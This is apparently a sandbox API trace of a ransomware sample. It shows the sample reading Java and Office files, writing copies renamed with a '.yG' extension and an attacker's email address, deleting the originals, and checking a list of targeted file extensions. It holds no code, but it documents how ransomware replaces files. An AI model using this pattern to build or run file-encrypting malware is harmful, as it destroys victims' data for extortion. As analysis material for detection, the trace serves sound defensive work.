	[0148.963] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0148.964] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=98) returned 1
	[0148.964] CloseHandle (hObject=0x544) returned 1
	[0148.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20
	[0148.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.965] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0148.965] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.965] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.965] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0148.966] GetLastError () returned 0x0
	[0148.966] ReadFile (in: hFile=0x544, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x62, lpOverlapped=0x0) returned 1
	[0148.968] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x70, lpOverlapped=0x0) returned 1
	[0148.969] ReadFile (in: hFile=0x544, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.969] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xee, lpOverlapped=0x0) returned 1
	[0148.969] SetEndOfFile (hFile=0x52c) returned 1
	[0148.969] CloseHandle (hObject=0x52c) returned 1
	[0148.969] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.969] SetEndOfFile (hFile=0x544) returned 1
	[0148.973] CloseHandle (hObject=0x544) returned 1
	[0148.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0148.974] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1
	[0148.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.975] lstrlenW (lpString=".doc") returned 4
	[0148.975] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0148.975] lstrlenW (lpString=".docx") returned 5
	[0148.975] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0148.975] lstrlenW (lpString=".pdf") returned 4
	[0148.975] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0148.975] lstrlenW (lpString=".xls") returned 4
	[0148.975] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0148.975] lstrlenW (lpString=".xlsx") returned 5
	[0148.975] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0148.975] lstrlenW (lpString=".ppt") returned 4
	[0148.975] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0148.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.975] lstrlenW (lpString=".zip") returned 4
	[0148.976] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString=".rar") returned 4
	[0148.976] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString=".bz2") returned 4
	[0148.976] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString=".7z") returned 3
	[0148.976] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0148.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.976] lstrlenW (lpString=".dbf") returned 4
	[0148.976] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.976] lstrlenW (lpString=".1cd") returned 4
	[0148.976] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.976] lstrlenW (lpString=".jpg") returned 4
	[0148.976] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.976] lstrlenW (lpString=".doc") returned 4
	[0148.976] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString=".docx") returned 5
	[0148.976] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0148.976] lstrlenW (lpString=".pdf") returned 4
	[0148.976] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0148.976] lstrlenW (lpString=".xls") returned 4
	[0148.977] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString=".xlsx") returned 5
	[0148.977] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0148.977] lstrlenW (lpString=".ppt") returned 4
	[0148.977] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.977] lstrlenW (lpString=".zip") returned 4
	[0148.977] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString=".rar") returned 4
	[0148.977] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString=".bz2") returned 4
	[0148.977] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString=".7z") returned 3
	[0148.977] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0148.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.977] lstrlenW (lpString=".dbf") returned 4
	[0148.977] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.977] lstrlenW (lpString=".1cd") returned 4
	[0148.977] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0148.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0148.977] lstrlenW (lpString=".jpg") returned 4
	[0148.977] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0148.978] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0148.978] lstrlenW (lpString="local_policy.jar") returned 16
	[0148.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0148.978] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=3527) returned 1
	[0148.978] CloseHandle (hObject=0x544) returned 1
	[0148.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20
	[0148.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.979] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0148.979] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.979] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0148.981] GetLastError () returned 0x0
	[0148.981] ReadFile (in: hFile=0x544, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xdc7, lpOverlapped=0x0) returned 1
	[0149.010] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0149.011] ReadFile (in: hFile=0x544, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.011] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0149.011] SetEndOfFile (hFile=0x52c) returned 1
	[0149.011] CloseHandle (hObject=0x52c) returned 1
	[0149.011] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.012] SetEndOfFile (hFile=0x544) returned 1
	[0149.016] CloseHandle (hObject=0x544) returned 1
	[0149.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.016] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1
	[0149.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.017] lstrlenW (lpString=".doc") returned 4
	[0149.017] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0149.017] lstrlenW (lpString=".docx") returned 5
	[0149.017] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0149.017] lstrlenW (lpString=".pdf") returned 4
	[0149.017] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0149.017] lstrlenW (lpString=".xls") returned 4
	[0149.017] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0149.017] lstrlenW (lpString=".xlsx") returned 5
	[0149.017] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0149.017] lstrlenW (lpString=".ppt") returned 4
	[0149.017] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0149.017] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.017] lstrlenW (lpString=".zip") returned 4
	[0149.017] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0149.017] lstrlenW (lpString=".rar") returned 4
	[0149.018] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0149.018] lstrlenW (lpString=".bz2") returned 4
	[0149.018] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0149.018] lstrlenW (lpString=".7z") returned 3
	[0149.018] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0149.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.018] lstrlenW (lpString=".dbf") returned 4
	[0149.018] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0149.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.018] lstrlenW (lpString=".1cd") returned 4
	[0149.018] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0149.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.018] lstrlenW (lpString=".jpg") returned 4
	[0149.018] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0149.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.018] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.018] lstrlenW (lpString=".doc") returned 4
	[0149.018] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0149.018] lstrlenW (lpString=".docx") returned 5
	[0149.018] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0149.018] lstrlenW (lpString=".pdf") returned 4
	[0149.018] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0149.018] lstrlenW (lpString=".xls") returned 4
	[0149.018] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0149.018] lstrlenW (lpString=".xlsx") returned 5
	[0149.018] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0149.018] lstrlenW (lpString=".ppt") returned 4
	[0149.018] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0149.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.019] lstrlenW (lpString=".zip") returned 4
	[0149.019] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0149.019] lstrlenW (lpString=".rar") returned 4
	[0149.019] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0149.019] lstrlenW (lpString=".bz2") returned 4
	[0149.019] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0149.019] lstrlenW (lpString=".7z") returned 3
	[0149.019] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0149.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.019] lstrlenW (lpString=".dbf") returned 4
	[0149.019] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0149.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.019] lstrlenW (lpString=".1cd") returned 4
	[0149.019] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0149.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0149.019] lstrlenW (lpString=".jpg") returned 4
	[0149.019] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0149.019] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0149.019] lstrlenW (lpString="sound.properties") returned 16
	[0149.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0149.020] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=1210) returned 1
	[0149.020] CloseHandle (hObject=0x544) returned 1
	[0149.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20
	[0149.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0149.021] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.021] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.022] GetLastError () returned 0x0
	[0149.022] ReadFile (in: hFile=0x544, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x4ba, lpOverlapped=0x0) returned 1
	[0149.062] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0149.063] ReadFile (in: hFile=0x544, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.063] WriteFile (in: hFile=0x52c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0149.064] SetEndOfFile (hFile=0x52c) returned 1
	[0149.064] CloseHandle (hObject=0x52c) returned 1
	[0149.064] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.064] SetEndOfFile (hFile=0x544) returned 1
	[0149.536] CloseHandle (hObject=0x544) returned 1
	[0149.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.808] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1
	[0149.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.809] lstrlenW (lpString=".doc") returned 4
	[0149.809] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString=".docx") returned 5
	[0149.809] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0149.809] lstrlenW (lpString=".pdf") returned 4
	[0149.809] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString=".xls") returned 4
	[0149.809] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString=".xlsx") returned 5
	[0149.809] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0149.809] lstrlenW (lpString=".ppt") returned 4
	[0149.809] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.809] lstrlenW (lpString=".zip") returned 4
	[0149.809] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString=".rar") returned 4
	[0149.809] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString=".bz2") returned 4
	[0149.809] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0149.809] lstrlenW (lpString=".7z") returned 3
	[0149.810] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString=".dbf") returned 4
	[0149.810] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString=".1cd") returned 4
	[0149.810] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString=".jpg") returned 4
	[0149.810] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString=".doc") returned 4
	[0149.810] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString=".docx") returned 5
	[0149.810] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0149.810] lstrlenW (lpString=".pdf") returned 4
	[0149.810] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString=".xls") returned 4
	[0149.810] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString=".xlsx") returned 5
	[0149.810] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0149.810] lstrlenW (lpString=".ppt") returned 4
	[0149.810] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString=".zip") returned 4
	[0149.810] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString=".rar") returned 4
	[0149.810] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString=".bz2") returned 4
	[0149.810] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0149.810] lstrlenW (lpString=".7z") returned 3
	[0149.810] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0149.810] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.810] lstrlenW (lpString=".dbf") returned 4
	[0149.811] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0149.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.811] lstrlenW (lpString=".1cd") returned 4
	[0149.811] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0149.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0149.811] lstrlenW (lpString=".jpg") returned 4
	[0149.811] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0149.811] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0149.811] lstrlenW (lpString="CMNTY_01.MID") returned 12
	[0149.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.837] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=6970) returned 1
	[0149.837] CloseHandle (hObject=0x51c) returned 1
	[0149.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220
	[0149.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
